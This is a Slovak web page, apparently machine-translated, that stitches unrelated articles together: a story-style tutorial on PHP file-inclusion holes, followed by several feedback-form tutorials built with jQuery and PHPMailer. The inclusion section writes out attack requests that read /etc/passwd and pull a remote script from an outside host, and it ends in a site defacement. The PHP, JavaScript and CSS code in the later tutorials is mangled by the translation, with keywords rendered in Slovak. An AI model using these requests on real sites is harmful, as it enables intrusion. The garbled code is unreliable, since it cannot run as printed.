Oddelenie kontroly kvality. Kontaktný formulár s jQuery, jGrowl, ajaxForm a Buzz

  • 18.06.2019

V tomto článku vám poviem o jednej z najbežnejších zraniteľností nájdených v php skriptoch – o „chybe“ include. Dozviete sa, ako to funguje a niektoré zmiernenia tejto zraniteľnosti.

Pozor!!! Všetky informácie uvedené v tomto článku slúžia len na informačné účely! Autor nenesie žiadnu zodpovednosť za jeho zneužitie!

Zraniteľnosť php - include je jednou z najznámejších, no zároveň najrozšírenejších „dier“, ktoré sa dnes v php skriptoch nachádzajú. Vzniká vtedy, keď programátor z nepozornosti, neznalosti alebo z nejakého iného jemu známeho dôvodu umožní použiť dáta odovzdané skriptu ako parametre, bez dodatočného overenia (takéto dáta sa nazývajú aj „označené“) ako parameter do funkcie include. Aby ste lepšie porozumeli tomu, ako táto zraniteľnosť funguje, musíte porozumieť vyššie uvedenej funkcii.

php include funkcie, ako aj include_once

Táto funkcia sa používa na pripojenie ďalších programových modulov k spustenému php skriptu. Navyše, na rozdiel od požiadaviek podobných vlastnosťami, funkcia include vykonáva tieto moduly priamo vo svojom procese. Preto sa moduly pripojené týmto spôsobom nevykonajú ako samostatné skripty, ale ako časti skriptu, ktorý ich k sebe pripojil. Presnejšie povedané, include spustí iba tú časť súboru, ktorá je uzavretá medzi špecifikáciami. značky:

" "?>"

Všetko ostatné php sa zobrazuje len ako text. Tie. ak zahrniete textový súbor (napríklad: / etc / passwd 🙂), ktorý neobsahuje zadané značky, interpret zobrazí celý obsah tohto súboru.

Príklad volania:

Ako ste si mohli všimnúť, funkcia include má iba 1 parameter (súbor $), ktorý špecifikuje cestu a názov súboru doplnku. Treba si tiež uvedomiť, že v systémoch podobných Unixu (v závislosti od nastavenia php) možno ako parameter odovzdať nielen cestu a názov súboru, ale aj url (internetovú adresu) súboru (!!!).

Cvičte

Predpokladajme, že nasledujúci php skript je nainštalovaný na nejakom webovom serveri (jeho adresa URL je http://www.superpupersite.com/index.php):

A tiež veľa rôznych doplnkových skriptov pre to:

domov.php
spätná väzba.php

Autor tohto skriptu predpokladal, že všetci návštevníci stránky sa budú pokojne presúvať z jednej stránky na druhú klikaním na tlačidlá, odkazy a iné ovládacie objekty. A skript, v závislosti od odovzdaného parametra súboru, pripojí jeden alebo druhý modul, čím sa vygenerujú rôzne html stránky (najčastejšie sa používa include).

Príklady žiadostí:

http://www.superpupersite.com/index.php?file=home.php
http://www.superpupersite.com/index.php?file=feedback.php

Nevedel si ani len predstaviť, že jedného dňa (v chladnom zimnom období) sa na toto miesto zatúla istý zvedavý Vasya Pupkin. Kto by zo svojej zvedavosti pri zvažovaní tých istých odkazov predpokladal (keď ešte nevie ako a čo tam skutočne je), že parameter súboru nie je nič iné ako názov a cesta k súboru a že skript používa include (Nie je prekvapujúce, pretože dnes sa include používa takmer v každom 3. skripte). Vasya sa okamžite rozhodol skontrolovať svoj predpoklad takto:

Urobil som žiadosť takto: http://www.superpupersite.com/index.php?file=/etc/passwd
Na výstupe som dostal obsah súboru passwd servera
PS: Ak je na serveri v možnostiach php povolený režim ladenia, nie je ťažké identifikovať takúto zraniteľnosť podľa typických chybových hlásení (napríklad: „nepodarilo sa otvoriť názov súboru na zahrnutie ...“! Ale v tomto prípade režim ladenia bol zakázaný (nie všetky mačky sú Masopust).

"Skvelé! Je celkom možné, že môj predpoklad o zahrnutí je správny!" - pomyslel si Vasya. Vasya si tiež všimol, že server beží pod operačným systémom podobným unixu (je tam prítomný súbor / etc / passwd). Z toho všetkého dospel k záveru, že by mohlo byť možné vložiť jeho vlastný modul php tak, aby bol spustený na strane servera. Teraz, aby mohol uskutočniť svoje zlovestné plány, potrebuje V. Pupkin prístup na pridávanie a úpravu súborov na nejakom WEB serveri. Našťastie k dnešnému dňu nespôsobuje získanie pomalého bezplatného hostingu žiadne zvláštne problémy a náš hrdina už mal pre takéto neočakávané 🙂 pripravené svoje vlastné webové stránky http://pupkin.halava123.ru. Kde obozretne nahral scenár s nasledujúcim obsahom:

Nenáročný, musím povedať, skript, ktorý v okne prehliadača zobrazí zoznam súborov a adresárov v aktuálnom adresári (ale na kontrolu zraniteľnosti bude stačiť 🙂). Scenár bol zverejnený na adrese:

http://pupkin.halava123.ru/cmd.txt

Vasya splnila nasledujúcu požiadavku:

http://www.superpupersite.com/index.php?file=http://pupkin.halava123.ru/cmd.txt

A on to dokázal! Ako bolo zamýšľané, v okne prehliadača videl zoznam súborov a adresárov. Ďalej sa postupne objavila „diera“ a použili sa nemenej zaujímavé scenáre, ktorých podrobný popis by zabral veľa miesta a z týchto dôvodov tu nie je zverejnený 🙂 Vo všeobecnosti, ako dlho alebo krátko, ale všetko skončilo s deface (deface nahrádzajúci úvodnú stránku vlastnou). Aký smutný príbeh!

Hubenie škodcov

Po prečítaní vyššie uvedeného sa mnohí z vás pýtajú: „Existujú metódy boja proti tejto strašnej zraniteľnosti?“ "Áno" - hrdo odpovedám 🙂. Tu sú niektoré (v žiadnom prípade nie všetky):

Najjednoduchším spôsobom z programátorského hľadiska je previesť premennú modulu $ na číselný formát (settype (modul $, „integer“)), ale moduly musíte očíslovať a zhromaždiť ich v jednom adresári („module1 .php“, ”Module2.php”… ”modul .php “).

Zložitejšia metóda kontroly škodcov z pohľadu implementácie 🙂 je vytvorenie samostatného súboru-zoznamu modulov, ktoré je možné spustiť. A v závislosti od toho, či je ten alebo onen modul v zozname, spustite alebo dajte zodpovedajúcu chybu (alebo modul štandardne spustite, alebo ak chcete "experimentátora" vystrašiť, aby dal správu, že jeho adresa je pevná a že by mal suché sušienky...).
Príklad:

switch ($ case) // $ case je názov premennej odovzdanej v parametri do skriptu (case news: include ("news.php"); break; case articles: include ("guestbook.php"); break ; ... / / atď. predvolené: include ("index.php"); // ak hodnota, ktorá bola zohľadnená vyššie, nie je odovzdaná v premennej $ case, otvorí sa hlavná stránka break;)

Tretia metóda je stredná - niečo medzi 1. a 2.. Stačí nahradiť všetky servisné symboly (..", "/", ""), napríklad pomlčkami. Je pravda, že moduly (mali by tam byť umiestnené iba spustiteľné moduly a nič iné!!!) by sa v tomto prípade mali nachádzať v rovnakom adresári, ale ich názvy môžu byť normálne slová (napríklad „novinky“, „kniha návštev“ atď.) .
Záver

To je vo všeobecnosti všetko, čo som vám chcel tentoraz povedať. Záver z toho všetkého môže byť takýto: pred použitím údajov získaných od používateľa vo vašich webových scenároch sa zamyslite nad tým, či by sa mali vopred skontrolovať a správne spracovať. Týka sa to nielen polí s údajmi formulára, ktoré prechádza prehliadačom (metódy získavania a odosielania), ale aj súborov cookie (môže sa k nim dostať útočník).

Dobrý zlý

Informácie prezentované na tejto stránke sú určené predovšetkým pre začínajúcich správcov webu.

Ahojte priatelia, milí návštevníci mojej skromnej stránky! Určite mnohí z vás, vrátane začínajúcich webmasterov, vedia, čo je FOS a na čo slúži (formulár spätnej väzby).

Tradičný FOS vo svojej najjednoduchšej forme je, keď používateľ vyplní polia formulára umiestneného na webovej stránke a program servera tieto údaje spracuje a odošle do poštovej schránky správcu stránky. Existujú však aj iné možnosti a jednu z nich zvážime v tejto lekcii.

Je jasné, že pri používaní CMS, napríklad free Joomla a WordPress, sa dá problém so spätnou väzbou vyriešiť pomocou rôznych rozšírení alebo pluginov, no existujú aj alternatívne spôsoby, ktoré môžu byť užitočné pre akýkoľvek projekt postavený na čistom HTML, PHP alebo pomocou enginu .

Na webe nájdete pomerne veľa skriptov rôznych FOS - jednoduchých aj veľmi sofistikovaných, ktoré sú nainštalované na stránke ako plnohodnotný CMS a vyžadujú nielen podporu PHP, ale aj databázu pre svoju prácu. S najväčšou pravdepodobnosťou budete musieť hľadať, nájsť a vyskúšať veľa možností, ktoré sú pre vás tie pravé.

Spätná väzba je možná aj prostredníctvom formulára na komentáre otvoreného pre všetkých, kde návštevníci komunikujú s administráciou stránky a medzi sebou, riešia problémy a problémy a FOS predpokladá uzavretejšiu, odľahlú komunikáciu medzi dvoma ľuďmi. Návštevníci a klienti majú vždy otázky, takpovediac, nie na verejné pozeranie a publicitu.

Za zmienku tiež stojí, že existujú dobré služby na vytváranie formulárov spätnej väzby, ale teraz budeme hovoriť o jednom zaujímavom a netradičnom FOS. Jeho hlavným rozdielom od iných vzoriek je, že nepotrebuje prítomnosť a používanie e-mailového klienta. Toto je webový formulár a správy v ňom sa vytvárajú, odosielajú na webovú stránku a prijímajú na webovú stránku. Inými slovami, tento formulár funguje na serveri vašej stránky bez použitia e-mailového servera.

Na free hostingu s PHP nie je dostupný SMTP server, preto nie je možné vytvoriť službu na odosielanie správ zo stránky e-mailom na e-mail administrátora. Navrhovaná sada FOS tento problém rieši a poskytuje odosielateľom správ zo stránky lokality aj jej správcovi pohodlný spôsob výmeny správ.

Máte možnosť skontrolovať formulár spätnej väzby v práci, odoslať správu vyplnením polí na stránke odosielania a tiež si ju pozrieť na inej stránke s prijatými správami.

Kvapka užitočných informácií

Aby ste v budúcnosti nemali ťažkosti s prekódovaním súborov, prečítajte si malý „vzdelávací program“. Ak chcete vykonať konverziu, napríklad z windows-1251 na utf-8, musíte:

  1. Otvorte všetky súbory v textovom editore, najlepšie v programe Poznámkový blok ++;
  2. Vymažte záznamy o starom kódovaní, napr.
    ;
  3. Prekódujte všetky súbory jeden po druhom (Kódovanie → previesť na utf-8 bez kusovníka);
  4. Vložte záznamy o novom kódovaní, napr.
    ;
  5. Uložiť zmeny do všetkých súborov (súbor -> uložiť všetky).

Pri týchto akciách je dôležité dodržiavať postupnosť operácií, inak namiesto ruských slov dostanete nezrozumiteľné „krakozyabry“.

1. Stiahnite si požadovaný archív s materiálom a rozbaľte ho do aktuálneho priečinka v počítači. V priečinku spätnej väzby uvidíte priečinok img s obrázkami a súbormi formulárov. Nahrajte celý priečinok so spätnou väzbou na server vašej lokality.

POZOR! Ak sú súbory nahrané na server, je potrebné nastaviť atribúty: 666 pre súbor message.txt, inak nebude možné čítanie a zápis do súboru a server zobrazí chybové hlásenie.

2. Do panela s adresou prehliadača zadajte adresu:
// vaša doména / feedback / feedback.php
Načíta sa stránka spätnej väzby s formulárom na zadávanie údajov. Fungovanie formulára môžete otestovať vyplnením všetkých polí a odoslaním správy. Vytvorte odkaz na túto stránku zo svojej lokality na správnom mieste.

3. Ak chcete skontrolovať správy, zadajte adresu do panela s adresou prehliadača:
// vaša doména / feedback / message.php
Načíta sa stránka s hlavičkou správy, údajmi a textom odoslanej správy. Ak chcete odstrániť všetky záznamy, kliknite na stránke na tlačidlo Odstrániť všetko. Uložte si stránku správy (message.php), aby ste ju mohli nabudúce jednoducho otvoriť.

FOS je pripravený pracovať na vašom webe. Ako dlho vám to trvalo nainštalovať?

Možnosť číslo 2. Inštalácia FOS v šablóne lokality.

Tento formulár je možné vložiť aj do šablóny stránky PHP. Táto úloha je trochu náročnejšia.

Formulár bude vyzerať asi takto a môžete prijímať správy.


Súbory v kódovaní utf-8, ak je vaša stránka v inom kódovaní - je potrebné ich prekódovať. To už zvládnete aj sami.

Stránky feedback.php a send.php majú kvôli prehľadnosti predbežná registrácia, ktorá v budúcnosti nebude potrebná vzhľadom k tomu, že označené požadované bloky (začiatok bloku -> koniec bloku) v súboroch feedback.php a send.php ich budete musieť skopírovať a vložiť do šablón vašej webovej stránky. Potom by sa tieto šablóny mali premenovať na feedback.php a podľa toho send.php. V hlavnom menu vašej stránky by mal byť odkaz na feedback.php.

Nevyžadujú sa ani súbory header.php, footer.php, ktoré sa používajú na vytvorenie stránok feedback.php a send.php počas predbežného testovania.

Súbory message.php a deltext.php sú servisné stránky pre správcu lokality. Môžu zostať nezmenené, alebo si ich môžete vyskladať podľa seba.

Všetky tieto súbory musia byť v koreňovom adresári spolu so súborom message.txt:

Aby ste predišli problémom, pred nahraním súborov do koreňového priečinka lokality skontrolujte, či sa názvy súborov zhodujú! Ak áno, súbory by sa mali premenovať.

Ak sa na hostingu s PHP používa stránka obsahujúca bežné HTML stránky, potom by sa do šablóny stránky pre spätnú väzbu mal vložiť formulár zo súboru feedback.php s názvom feedback.html. A do šablóny HTML stránky s názvom send.html vložte blok skriptu z príslušného súboru a premenujte stránku na send.php.

To je všetko! Využite FOS na maximum, komunikujte s návštevníkmi, rozvíjajte svoje zdroje a všetko najlepšie pre vás! Nezabudnite navštíviť moju webovú stránku. Vaša L.M.

Dobrý deň, priatelia! Rád by som vám predstavil univerzálny skript na odosielanie údajov z formulárov na e-mail... Skript je ideálny pre stránky ako Vstupná stránka, stránky s vizitkami atď. náš Skript formulára spätnej väzby vyniká medzi množstvom iných skriptov na internete tým, že má schopnosť spojenie neobmedzeného počtu formulárov s rôznymi poľami na jednej stránke a je schopný posielať e-maily viacerým príjemcom.

Takže Začnime. Začnime možnosťami skriptu.

  1. Prepojenie neobmedzeného počtu formulárov na jednej stránke.
  2. Kontrola správnosti vyplnenia políčok.
  3. Konfigurácia upozornení.
  4. Schopnosť používať písmená pre každý formulár.
  5. Typ písmena - (ak sa používajú značky html)
  6. Posielanie na neobmedzený počet adries.
  7. Individuálne prispôsobenie každého formulára.
  8. Skript beží ďalej, bez opätovného načítania stránky.
  9. Ochrana pred spamovými robotmi.

Pôvodné nastavenie.


Skript funguje na báze knižnice, takže prvá vec, ktorú musíme urobiť, je pripojiť ju. Ak to chcete urobiť, odporúčam vám použiť hostené knižnice Google.

Pozrime sa bližšie na zvyšok súborov:

feedback.js- hlavný súbor skriptu, zodpovedný za Odoslanie formulára AJAX.
jquery.arcticmodal.js,
jquery.arcticmodal.
- poskytujú možnosť zobrazenia formulárov v modálnom okne.
jquery.jgrowl.js,
jquery.jgrowl.css
- povoliť zobrazovanie upozornení na stránke (bloky v hornom rohu stránky).

HTML a požadované atribúty.


Povinným atribútom pre všetky prvky formulára je atribút meno = ""- je potrebný pre následné prispôsobenie formulára.
Pre tlačidlo (typ = "tlačidlo") musíte zadať trieda = "spätná väzba"... Chcel by som tiež upozorniť na skutočnosť, že ako tlačidlo môže fungovať akýkoľvek html tag s triedou „feedback“.

Volanie formulára v modálnom okne

Ak chcete zavolať formulár v modálnom okne, musíte najprv definovať akciu kliknutím na ľubovoľnú značku, napríklad div s triedou modal_btn

Keďže formulár by mal byť viditeľný iba v modálnom okne, musíte ho skryť umiestnením do prvku div s atribútom style = "display: none;" a zabaliť ho do niekoľkých štandardných prvkov div, aby ste upravili modálne okno.

Vymysleli sme teda základné nastavenia pripojenia nášho skriptu na odosielanie formulárov na e-mail. Poďme sa teraz pozrieť dovnútra a zistiť nastavenie polí, upozornení a všetkého ostatného, ​​čo tam je.

Príklad nastavenia pre jeden formulár

Všetky nastavenia formulára sú uložené v súbore spätná väzba \ index.php
$ form ["form-1"] = pole ("polia" => pole ("name" => pole ("title" => "Name", "validate" => pole "preg" => "%%" "," minlength "=>" 3 "," maxlength "=>" 35 ",),," messages "=> pole (" preg "=>" Pole [% 1 $ s] môže obsahovať chybu "," minlength " => "Minimálna dĺžka poľa [% 1 $ s] je menšia ako povolená dĺžka -% 2 $ s", "maxlength" => "Maximálna dĺžka poľa [% 1 $ s] je dlhšia ako povolená dĺžka -% 2 $ s",)), "tell "=> pole (" názov "=>" Telefón "," overte "=> pole (" preg "=>" / ^ ((8 | \ + ) [\ -]?)? (\ (? \ d ( 3) \)? [\ -]?)? [\ D \ -] (5,10) $ / "," minlength "=>" 5 " ,),," messages "=> pole (" preg "=> "Pole [% 1 $ s] môže obsahovať chybu", "minlength" => "Minimálna dĺžka poľa [% 1 $ s] je menšia ako povolená dĺžka -% 2 $ s",)), "cfg" => pole (" znaková sada "=>" utf-8 "," predmet "=>" Predmet "," nadpis "=>" Nadpis telo správy "," ajax "=> true," validate "=> true," from_email "= > " [e-mail chránený]"," from_name "=>" noreply "," na_e-mail "=>" [e-mail chránený], [e-mail chránený]"," to_name "=>" noreply1, noreply2 "," geoip "=> true," referer "=> true," zadajte "=>" html "," tpl "=> true," antispam "=>" email77 "," antispamjs "=>" adresa77 "," dobre "=>" Správa odoslaná - OK "," kurva "=>" Správa odoslaná - CHYBA "," spam "=>" Spamový robot "," upozorniť "=> "color-modal-textbox", "usepresuf" => false)); // Ďalší formulár $ form ["form-2"] = pole ("polia" => pole (.....
Ak chcete pridať nastavenia pre nový formulár, musíte vytvoriť nové pole $ form [""] podľa príkladu poľa $ form ["form-1"]

Pamätajte, že som hovoril o povinnom atribúte meno = ""?

Povinným atribútom pre všetky prvky formulára je atribút name = "" - je potrebný pre následnú konfiguráciu formulára.
Nastal teda čas povedať vám, prečo je to stále potrebné.
meno = ""- toto je alfanumerický kľúč pre pole, musí byť jedinečný pre pole $ tvar [""]

Ukážkový html kód pre prehľadnosť

Teraz sa pozrime na polia a na čo slúžia.

$ form ["form-1"] = pole ();
$ form ["form-2"] = pole (); atď.
Toto sú hlavné polia pre každý nový formulár, ktoré obsahujú:

  1. "polia" => pole ();- Súbor nastavení pre prvky formulára.
    • "meno" => pole ();- Pole nastavení prvkov formulára (napr vstupný názov = "meno" typ = "text"), ktorý má množstvo nastavení.
      • "title" => "Vaše meno"- názov prvku formulára, zobrazí sa v prípade chýb alebo v šablóne
      • "overiť" => pole ();- pole, obsahuje pravidlá na overenie formulárového prvku
        • "preg" => "%%"- regulárny výraz
        • "minlength" => "3"- minimálna veľkosť poľa
        • "maxlength" => "35"- maximálna veľkosť poľa
        • "substr" => "35"- vždy orezajte na N znakov
      • "správy" => pole ();- pole, obsahuje overovacie správy, a to:
        • "preg" => "Prvok formulára nezodpovedá regulárnemu výrazu"
        • "minlength" => "Minimálna dĺžka poľa [% 1 $ s] je menšia ako povolená dĺžka -% 2 $ s"- chyba overenia, (preg) kľúč sa nezhoduje s overovacím kľúčom
        • "maxlength" => "Maximálna dĺžka poľa [% 1 $ s] presahuje povolenú dĺžku -% 2 $ s"- chyba overenia, (preg) kľúč sa nezhoduje s overovacím kľúčom
  2. "cfg" => pole ();- Množstvo nastavení formulára.
    • "charset" => "utf-8"- kódovanie
    • "predmet" => "Predmet e-mailu",- Predmet listu
    • "title" => "Názov v tele listu",- Hlavička v tele listu
    • "ajax" => pravda,- toto je ajaxový formulár TODO (ak nie je potrebný, uveďte - false)
    • "overiť" => pravda,- (true) ak chceme overiť formulár na serveri, nahradí overenie js výrazom "ajax" => true. Keď je vypnutá (false), môžete ponechať polia na overenie nenastavené. ROBIŤ
    • "from_email" => "myemail",- odosielateľ, zadajte názov poľa (meno = "môj e-mail") a ak nepotrebujete e-mail od používateľa, potom útržok [e-mail chránený]
    • "from_name" => "moje meno",- odosielateľ, zadajte názov poľa (meno = "moje meno") a ak nepotrebujete používateľské meno, potom útržok bez odpovede
    • "to_email" => " [e-mail chránený]", - E-mail príjemcu. Ak chcete odoslať na viacero adries, uveďte ich oddelené čiarkami. Príklad ("to_email" => " [e-mail chránený], [e-mail chránený], [e-mail chránený]",)
    • "to_name" => "noreply1",- Meno prijímača. Pri odosielaní na viacero adries uveďte mená príjemcov oddelené čiarkami. Príklad ("to_name" => "noreply1, noreply2, noreply3",)
    • "geoip" => pravda,- zistiť polohu podľa typu TODO
    • "referer" => false,- pridajte adresu URL stránky, z ktorej bol formulár odoslaný
    • "typ" => "obyčajný",- typ písmena - obyčajný, html (ak sa používajú značky html)
    • "tpl" => nepravda,- použiť šablónu listu. Ak je pravda, súbor šablóny bude pripojený v súlade s názvom formulára (name = "form-1") z priečinka a súbor (spätná väzba / tpl / form-1.tpl) bude spracovaný, inak bude všetko budú odoslané tak, ako sú, každé pole na novom riadku
    • "antispam" => "e-mail77",- Anti spam, metóda je založená na skrytom poli (zobraziť: žiadne), ktoré automaticky vyplní iba robot, čím sa vydáva za seba.
    • "antispamjs" => "adresa77",- Anti spam, metóda je založená na skrytom (zobraziť: žiadne) poli, na začiatku vyplnenom, ktoré automaticky vymaže javascript pri načítaní stránky, ani inteligentný robot to nedokáže predvídať a potom je zablokovaný.
    • "dobre" => "Správa používateľovi",- Používateľovi sa zobrazí správa, ak je formulár úspešne odoslaný, môžete použiť html značky.
    • "fuck" => "Správa používateľovi",- Správa pre používateľa, ktorá sa zobrazí, keď sa vyskytne chyba pri odosielaní formulára, môžete použiť značky html.
    • "spam" => "Správa používateľovi",- Správa pre používateľa, ktorá sa zobrazí, ak je robot podozrivý zo spamu, môžete použiť značky html.
    • "notify" => "color-modal",- aký typ upozornení sa má zobrazovať, textové pole - bloky v hornom rohu stránky, farba - farebné zvýraznenie vo formulári, modálne - modálne okno v strede stránky, žiadne - zakázať. Dá sa kombinovať napr.: farebne modálne - chyby vyplnenia polí so zvýraznením a stav odoslania textu v modálnom okne TODO
    • "usepresuf" => nepravda- Či už používate vlastné doplnenie do predmetu alebo do hlavičky listu, v prípade malej zmeny môžete zadať napríklad %% cfg.title.suffix %%, na to musí byť skryté pole vo formulári, ďalšie podrobnosti nájdete v f-qi presuf ()

Prispôsobenie e-mailových šablón

Takže Poďme sa teraz zaoberať tematikou našich správ.
Po prvé, aby bolo možné odoslať formulár v šablóne, musíte povoliť použitie súboru šablóny v nastaveniach formulára - "tpl" => pravda,
Po druhé, musíte vytvoriť súbor šablóny s príponou * .tpl v priečinku ( spätná väzba / tpl /), podľa názvu formulára ( meno = "form-1").

Príklad: ( spätná väzba / tpl / form-1.tpl)

Nadpis v tele e-mailu
%% name.title %% %% name.value %%
%% tell.title %% %% tell.value %%

názov, povedať atď. - Toto sú atribúty (meno = "") polí, ktoré používateľ vyplní.
titul- Názov prvku formulára, ktorý sa nastavuje v poli nastavení prvkov formulára.
hodnotu- Hodnota prvku formulára.

To je na dnes všetko, no scenár určite nie je dokonalý, takže komentáre a popisy chýb sú vítané a v ďalších verziách budú opravené.

P.S. Scenár je vyvinutý tímom

Pre vývoj webového projektu je veľmi dôležité získať spätnú väzbu od návštevníkov. Bohužiaľ, na mnohých webových stránkach možnosť poslať správu vývojárom buď nie je k dispozícii vôbec, alebo je spojená s dosť vážnymi problémami.

Dnes urobíme jednoduché riešenie tohto problému. Pomocou jQuery, PHP a triedy PHPMailer formulár odošle návrh používateľa priamo do vašej schránky.

Html

Začnime s označením HTML. Štýly sú zahrnuté v hornej časti dokumentu a súbory JavaScript sú zahrnuté v spodnej časti. Tým sa optimalizuje proces načítania stránky, takže skripty sa načítavajú ako posledné, čo používateľovi umožňuje vidieť obsah stránky.

demo.html

Kontaktný formulár pomocou PHP a jQuery | Ukážka pre webovú stránku

Spätná väzba

Ak chcete odpoveď, uveďte kontaktné údaje.

poslať


Vnútri telo Nachádza div #spätná väzba... Umiestňuje sa v pravom dolnom rohu okna pomocou pevného umiestnenia, ako uvidíte v sekcii CSS v tutoriále.

V rámci tohto div je umiestnených päť farebných prvkov rozpätie... Každá je 20% široká a posunutá doľava. Sedia teda presne po celej šírke. div #spätná väzba.

Potom prichádza kontajner .oddiel, ktorý obsahuje nadpis, textovú oblasť a tlačidlo.

CSS

Prejdime k nastaveniu štýlov pre formulár. Najprv si povedzme pár slov o tom, z čoho pozostáva štruktúra šablóny so štýlmi. Ak sa pozriete na definície CSS nižšie, všimnete si, že každé pravidlo začína na #spätná väzba... To vytvára podobnosť s menným priestorom v CSS, čo uľahčuje pridávanie kódu na existujúcu webovú stránku bez konfliktov.

styles.css - 1. časť

#feedback (background-color: # 9db09f; width: 310px; height: 330px; position: fixed; bottom: 0; right: 120px; margin-bottom: -270px; z-index: 10000;) #feedback .section (background : url ("img / bg.png") repeat-x vľavo hore; orámovanie: 1px plné # 808f81; border-bottom: žiadne; padding: 10px 25px 25px;) #feedback .color (float: left; height: 4px; šírka: 20 %; pretečenie: skryté;) #feedback .color-1 (farba pozadia: # d3b112;) #feedback .color-2 (farba pozadia: # 12b6d3;) #spätná väzba .farba-3 (farba pozadia : # 8fd317;) #feedback .color-4 (background-color: # ca57df;) #feedback .color-5 (background-color: # 8ecbe7;) #feedback h6 (background: url ("img / feedback.png" ) no-repeat; výška: 38px; okraj: 5px 0 12px; zarážka textu: -99999px; kurzor: ukazovateľ;) #feedback textarea (farba pozadia: #fff; okraj: žiadna; farba: # 666666; písmo: 13px "Lucida Sans", Arial, bezpätkové; výška: 100px; výplň: 10px; šírka: 236px; zmena veľkosti: žiadna; obrys: žiadny; pretečenie: auto; -moz-box-shadow: 4px 4px 0 # 8a9b8c; -webkit -box-sha dow: 4px 4px 0 # 8a9b8c; box-shadow: 4px 4px 0 # 8a9b8c; )

Prvým prvkom, ktorý sa má štylizovať, je div #spätná väzba... Má priradenú pevnú polohu a prichytenie k oknu prehliadača. Po ňom prichádza definícia pre div .oddiel a päť farebných prvkov rozpätie... Tieto prvky sa líšia iba farbou pozadia, ktorá je priradená samostatne pre každú triedu.

V spodnej časti prezentovanej časti súboru CSS sú definované pravidlá pre zobrazenie oblasti textu.

styles.css - 2. časť

#feedback a.submit (pozadie: url ("img / submit.png") bez opakovania; orámovanie: žiadne; zobrazenie: blok; výška: 34px; okraj: 20px automaticky 0; dekorácia textu: žiadne; odsadenie textu: -99999px; šírka: 91px;) #feedback a.submit: podržte kurzor (pozícia na pozadí: vľavo dole;) #feedback a.submit.working (pozícia na pozadí: vpravo hore! Dôležité; kurzor: predvolené;) #feedback .správa (rodina písma: Corbel, Arial, sans-serif; farba: # 5a665b; tieň textu: 1px 1px 0 # b3c2b5; margin-bottom: 20px;) #feedback .arrow (background: url ("img / arrows.png ") no-repeat; float: right; width: 23px; height: 18px; position: relatívna; top: 10px;) #feedback .arrow.down (pozícia na pozadí: vľavo hore;) #feedback h6: podržte kurzor myši .dole ( background-position: left bottom;) #feedback .arrow.up (background-position: right top;) #feedback h6: hover .up (background-position: right bottom;) #feedback .response (veľkosť písma: 21px; margin-top: 70px; text-align: center; text-shadow: 2px 2px 0 # 889889; color: #FCFCFC; display: block;)

Druhá časť šablóny so štýlmi definuje vzhľad tlačidla Odoslať. Všimnite si, že existujú tri stavy tlačidla, obrázky ktorých sú obsiahnuté v jednom súbore pre obrázok na pozadí - odoslať.png... Zobrazujú sa iba v prípade potreby.

jQuery

Formulár spätnej väzby má dva stavy – minimalizovaný a maximálny. Pri zavádzaní je predvolene nastavený minimalizovaný stav v pravej dolnej časti obrazovky. A jQuery posúva formulár do maximálneho stavu, keď používateľ klikne na hlavičku. Táto funkcia sa vykonáva väzbou udalosti a vykonávaním jednoduchých animácií.

script.js – 1. časť

$ (document) .ready (funkcia () (// Relatívna adresa URL skriptu submit.php. // Pravdepodobne budete musieť zmeniť it.var submitURL = "submit.php"; // Ukladanie objektu spätnej väzby do vyrovnávacej pamäte: var feedback = $ ( "#spätná väzba"); $ ("# spätná väzba h6"). kliknutie (funkcia () (// Hodnoty vlastností animácie sú uložené // v samostatnom objekte: var anim = (mb: 0, // Dolné pole pt: 25 // Horná zarážka); var el = $ (this) .find (. Arrow"); if (el.hasClass ("dole")) (anim = (mb: -270, pt: 10 ;)) // Prvá animácia posunie formulár nahor alebo nadol a druhá posunie nadpis // tak, aby bol zarovnaný s minimalizovanou verziou feedback.stop (). animate ((marginBottom: anim.mb)); feedback.find (". sekcia"). stop () .animate ((paddingTop: anim.pt), funkcia () (el.toggleClass ("dole hore");));));

Aby bol kód jednoduchý a priamočiary, v hornej časti sa vytvorí objekt anim, ktorý obsahuje hodnoty pre animáciu, a umiestni sa operátor ak... V závislosti od existencie triedy „ dole „Na šípke rozširujeme alebo zbaľujeme formulár.

Druhá časť script.js zvláda prácu s AJAXom odoslať.php.

script.js – 2. časť

$ ("# feedback a.submit"). live ("kliknutie", funkcia () (tlačidlo var = $ (toto); var textarea = feedback.find ("textarea"); // Používame pracovnú triedu pre viac než len nastavenie štýlov pre tlačidlo Odoslať, // ale aj ako istý druh zámku na zabránenie viacnásobnému generovaniu formulárov.if (button.hasClass ("pracovné") || textarea.val (). length< 5){ return false; } // Запираем форму и изменяем стиль кнопки: button.addClass("working"); $.ajax({ url: submitURL, type: "post", data: { message: textarea.val()}, complete: function(xhr){ var text = xhr.responseText; // Данная операция помогает пользователю определить ошибку: if(xhr.status == 404){ text = "Путь к скрипту submit.php неверный."; } // Прячем кнопку и область текста, после которой // мы показывали полученный ответ из submit.php button.fadeOut(); textarea.fadeOut(function(){ var span = $("", (className:" response ", html: text)) .hide () .appendTo (feedback.find (. section ")) .show ();)). val (" ");))); return nepravda;));));

Pre AJAX používame metódu jQuery $ .ajax () interagovať s odoslať.php... Táto metóda poskytuje trochu väčšiu kontrolu nad pripojením ako $ .get () a $ .post ().

Jednou z výhod metódy je viditeľnosť vlastností objektu v „celej“ funkcii spätného volania. Tu kontrolujeme stav odpovede, či je v súlade Chyba 404 (stránka sa nenašla) a zobrazí správu používateľovi, ktorý ho požiada, aby skontroloval cestu submitURL.

Teraz je čas prejsť na záverečnú časť – PHP.

PHP

PHP spracuje dáta odoslané z AJAXu, overí ich a odošle e-mailovú správu na zadanú adresu.

odoslať.php

// Sem zadajte svoju adresu $ emailAddress = " [e-mail chránený]"; // Použite reláciu na zabránenie zahlteniu: session_name (" quickFeedback "); session_start (); // Ak bol posledný formulár odoslaný pred menej ako 10 sekundami, // alebo používateľ už odoslal 10 správ za poslednú hodinu, ak ($ _ SESSION [ "lastSubmit"] && (čas () - $ _SESSION ["lastSubmit"]< 10 || $_SESSION["submitsLastHour"] >10)) (zomre ("Počkajte prosím niekoľko minút, kým správu znova odošlete.");) $ _SESSION ["lastSubmit"] = čas (); $ _SESSION ["submitsLastHour"] ++; vyžadovať "phpmailer / class.phpmailer.php"; if (ini_get ("magic_quotes_gpc")) ($ _POST ["správa"] = lomítka ($ _ POST ["správa"]);) if (mb_strlen ($ _ POST ["správa"], "utf-8")< 5){ die("Ваше сообщение слишком короткое."); } $msg = nl2br(strip_tags($_POST["message"])); // Используем класс PHPMailer $mail = new PHPMailer(); $mail->IsMail (); // Pridajte adresu príjemcu $ mail-> AddAddress ($ emailAddress); $ mail-> Predmet = 